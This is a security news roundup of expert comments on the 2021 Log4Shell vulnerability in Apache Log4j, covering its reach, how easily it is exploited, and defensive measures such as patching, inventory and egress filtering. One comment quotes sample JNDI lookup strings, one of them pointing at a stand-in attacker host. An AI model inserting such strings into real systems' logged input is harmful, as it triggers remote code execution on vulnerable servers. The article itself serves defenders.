What Experts Say On Critical Log4j Vulnerability?

Business Data Breach

ISBuzz Staff | informationsecuritybuzz.com »

News recently broke of a vulnerability affecting digital systems across the internet, leaving them exposed to account takeover by hackers. In fact, threat actors are already attempting to exploit the vulnerability and researchers are warning of serious repercussions worldwide. The problem lies in Log4j, a ubiquitous, open-source Apache logging framework that developers use to keep a record of activity within an application. The list of services with Internet-facing infrastructure that is vulnerable to a critical zero-day vulnerability in the open-source Log4j logging utility is immense and includes some of the biggest names on the Internet, including Apple, Amazon, Cloudflare, Steam, Tesla, Twitter, and Baidu.

EXPERTS COMMENTS
Saryu Nayyar

| December 13, 2021

Saryu Nayyar, CEO, Gurucul

Making the rounds along with COVID over the weekend was the so-called Log4Shell vulnerability, named for the Apache Log4Shell logging utility. Exploiting it is insidiously easy – just send a malicious string to the log. Once logged, it can execute arbitrary commands.

We like to think of logging as part of the IT lifeblood, because it provides critical information on the health and operation of our systems and networks. To think that logs can be compromised in this way has to be disconcerting. We need to treat our utilities like logging software as critical pieces of infrastructure and monitor them just as we monitor networks and applications.

 

| December 13, 2021

Nicholas Luedtke, Principal Analyst, Mandiant

Log4j is a library that is built into the logging functionality of a very large part of the internet. It is embedded/used by a ton of software that run websites, clouds, security services, games, etc… Because logs are important for security, debugging, and audit trails, it is very common for some part of user controlled data to go directly into log files. Those two aspects, coupled by the trivial nature of exploitation of this vulnerability make it very serious.

Attackers only need to find a vector by which they can cause a crafted string to be inserted into a logfile of a vulnerable system. Once they have achieved that, the impacts to an enterprise can be wide. Obviously they could gain a foothold on the victim’s network; that foothold may be privileged if the product that was compromised was an administrative or security component. They can also leak environment variables from the compromised systems which can lead credentials being leaked (if they are stored in an environment variable). Additionally, because of the embedded nature of this library into other software, as a consumer, it is very difficult to tell what products you have in your environment that might be using it. If you can’t do that first task quickly or completely, mitigation becomes very difficult.

 

| December 13, 2021

Charles Carmakal, SVP and CTO, Mandiant

CVE-2021-44228 is one of the most pervasive security vulnerabilities that organizations have had to deal with over the past decade. Organizations are challenged with identifying all of the vulnerable Log4j instances across their enterprise. Patching isn’t trivial. Many vendors are still determining whether their software uses Log4j, as organizations eagerly wait to know if they should apply emergency patches. Closed box systems, vendor-managed systems, and software that’s no longer maintained (but still running in test or even production environments) adds to the complexity and pain.

Organizations need to think about several key things as they work to tackle this problem:

  1. They need to discover the systems and applications that use Log4j (which may include secondary and tertiary systems that data is passed to).
  2. They need to apply patches where they can.
  3. They need to anticipate that they may never find all vulnerable instances, so they should apply mitigations across the enterprise to reduce the exploitability and impact of attempts.
  4. They need to assess/manage the risk of their vendors and partners.
  5. They need to determine if instances have already been exploited and then investigate it accordingly.

The slightly positive news is that most exploitation observed so far is automated in nature, which means responses and investigations will be relatively easier. But there’s so much noise right now – and separating the noise from the deliberate and targeted intrusions can be difficult..

 

| December 13, 2021

Erka Koivunen, Chief Information Security Officer, F-Secure

It’s a design failure of catastrophic proportions. All an attacker has to do to exploit the flaw is strategically send a malicious code string that eventually gets logged by Log4j. In the simplest terms, it allows an attacker to cause the target system to fetch and run code from a remote location controlled by the attacker. The second stage – what the downloaded malicious code does next – is fully up to the attacker.

Please don’t change your Tesla or iPhone name into ${jndi:ldap://url/a} unless you want unexpected user experience,” he says, half-jokingly.

Using Log4J’s formatting language could trigger code in vulnerable applications around the globe. Just the mention of the phrase like “${jndi:ldap://attacker.com/pwnyourserver}” in a Minecraft chat, for instance, could set off a security firestorm at Microsoft in an unpatched system.

 

| December 13, 2021

Reuven Harrison, CTO, Tufin

The exploit, like many others, relies on a call-home step to a command-and-control (C2) server.

To prevent these kinds of attacks, organizations should restrict egress (outbound) connectivity. Each subnet, server and workload should be allowed to connect only to the endpoints that are required by business. All other destinations should be blocked.

Blocking egress connections is easy with standard security controls such as firewalls, but defining the policy, which egress connections are allowed, is tough. Doing this properly requires continuous learning of legitimate application connectivity patterns, and enforcement in production environments.

 

| December 13, 2021

Andrew Howard, CEO, Kudelski Security

Through the recently discovered Log4Shell vulnerability, organizations can learn a lot about both vulnerability management in general and the need for secure application development more specifically.

The main problem is not that the Log4j library comes from an open source project run by only one or two programmers as a part-time project. In fact, a similar number of zero-day gaps can be found in commercial software as in open source solutions. The real problem is a lack of security awareness on the part of programmers and companies, which is still prevalent in many cases.

The vulnerability highlights that developers often blindly use libraries without carefully considering all available options. A security-conscious developer would probably have disabled the JNDI query when reading the documentation if the software does not use this feature, thus reducing the attack surface.

I recommend that organizations maintain a repository of libraries that are deemed secure as part of a secure DevOps process and as part of the fundamental IT security strategy of the company. The standard for all development processes then includes programmers continuously checking all libraries used in a software development project for acceptability against this repository.

 

| December 13, 2021

Kayla Underkoffler, Senior Security Technologist, HackerOne

This Zero Day highlights the threat that open source software presents as a growing portion of the world’s critical supply chain attack surfaces. Open source software is behind nearly all modern digital infrastructure, with the average application using 528 different open source components. The majority of high risk open source vulnerabilities discovered in 2020 have also existed in code for more than two years and most organizations lack direct control over open source software within supply chains to easily fix these weaknesses. Securing this often poorly funded software is an imperative for any organization that relies on it. This is why the Internet Bug Bounty was created; it’s mission is to secure open source by pooling funding from business partners to incentivize the discovery and reporting of vulnerabilities to open source software projects before they’re exploited. Organizations benefit by being able to have some control over increasing the security of open source by funding the research.

 

| December 16, 2021

Jeff Williams, CTO and Co-founder, Contrast

Make sure that your security operations center is actioning every single alert on the devices that fall into the category above: “There are a wide range of methods hackers can use to access personal information through Log4j’s vulnerability. The human effort required to detect and action each event is simply unrealistic.”

Install a web application firewall (WAF) with rules that automatically update, so that your SOC can concentrate on fewer alerts: “Firewalls aren’t going to stop hackers. They still have plenty of other ways to break into organizations’ systems through Log4j, which are undetectable by the firewall. This includes malicious code embedded into JSON, XML, and other common data structures that power nearly every website and application.”

Enumerate any external facing devices that have Log4j installed: “The focus on ‘external facing’ devices is a mistake, as many internal systems also log data that originated from an untrusted source.”

 

| December 15, 2021

Garret F. Grajek, CEO, YouAttest

The industry should applaud CyberReason for their mitigation gift to the community. Flaws like Log4Shell are intimidating and could be overwhelming for many overloaded security groups. The attack’s ability to circumvent the most important part of a Apache web site – the identity establishment page – it’s a exasperating event for those charged with establishing and maintaining integrity and security to our sites. That is why the industry, like the CyberReason example, must pull together and provide the tools for fee and for free when needed to combat the constant threat to our internet systems that the world, as the Carolina Pipeline showed, so deeply depends.

 

| December 15, 2021

Ryan Weeks, CISO, Datto

78% of MSPs report attacks against their client SMBs in the last two years alone. With that alarming stat, Datto believes we have a responsibility to identify and communicate known vulnerabilities while arming our MSP partners with the tools required to combat them.

In light of the Log4j vulnerability, Datto created and is offering at no charge to Datto RMM partners, the Log4Shell Enumeration, Mitigation, and Attack Detection tool. The tool can be used to scan all JAR files on the system for signs of vulnerabilities, search TXT and LOG files on a system for a potential attack, and automatically inoculate against any future exploit attempts. Additionally, Datto has also made a script for window systems available to the general public that can be used in conjunction with any RMM solution to enumerate vulnerabilities, detect potential attacks, and aid in temporary inoculation.

 

| December 13, 2021

Brian Fox, CTO and co-founder, Sonatype

This new Log4j vulnerability is likely going to be another “flashbulb memory” event in the timeline of significant vulnerabilities. It is the most widely used logging framework in the Java ecosystem. The scope of affected applications is comparable to the 2015 commons-collection vulnerability (CVE 2015-7501) because attackers can safely assume targets likely have this on the classpath. The impact is comparable to previous Struts vulnerabilities, like the one that impacted Equifax, because the attacks can be done remotely, anonymously without login credentials, and leads to a remote exploit. The combination of scope and potential impact here is unlike any previous component vulnerability I can readily recall.

 

| December 13, 2021

Tim Mackey, Principal Security Strategist, Synopsys CyRC (Cybersecurity Research Center), Synopsys

Apache log4j is the de-facto way Java applications write their log information. This means that a very large number of applications are potentially impacted by CVE-2021-44228, and we’ve already seen reports of just how easy it is to trigger the exploit. That’s the worrisome aspect of most zero-day vulnerabilities – that it’s easy to trigger and impacts a ubiquitous piece of software. In this case, exploit of CVE-2021-44228 can allow remote code to be executed, and while that’s problematic enough, the reality is there are likely other potential outcomes from an exploit – we just haven’t seen them or heard them reported. That’s because vulnerability disclosure isn’t a point in time activity. Instead, the disclosure serves as a trigger for security researchers and attackers alike to identify what other potential weaknesses the impacted code might have.

Protecting against exposure to CVE-2021-44228 starts with a basic element of software supply chain risk management – know the code that powers your business. If you don’t know which applications run Java and have a vulnerable version of log4j, then you can’t guarantee you’ve patched everything. If you’re relying on periodic scans of software or configurations to determine whether you’re exposed to something, then it’s time to start looking at continuous monitoring for software supply chain issues and possibly implementing automated pen-testing capabilities. After all, it’s always possible for a vulnerable version of something that should’ve been patched to be used elsewhere or by a different supplier.

 

Log4j Vulnerability

Log4j Vulnerability

Log4j Vulnerability

Log4j Vulnerability
External Link: What Experts Say On Critical Log4j Vulnerability?

Share this page:

Related Posts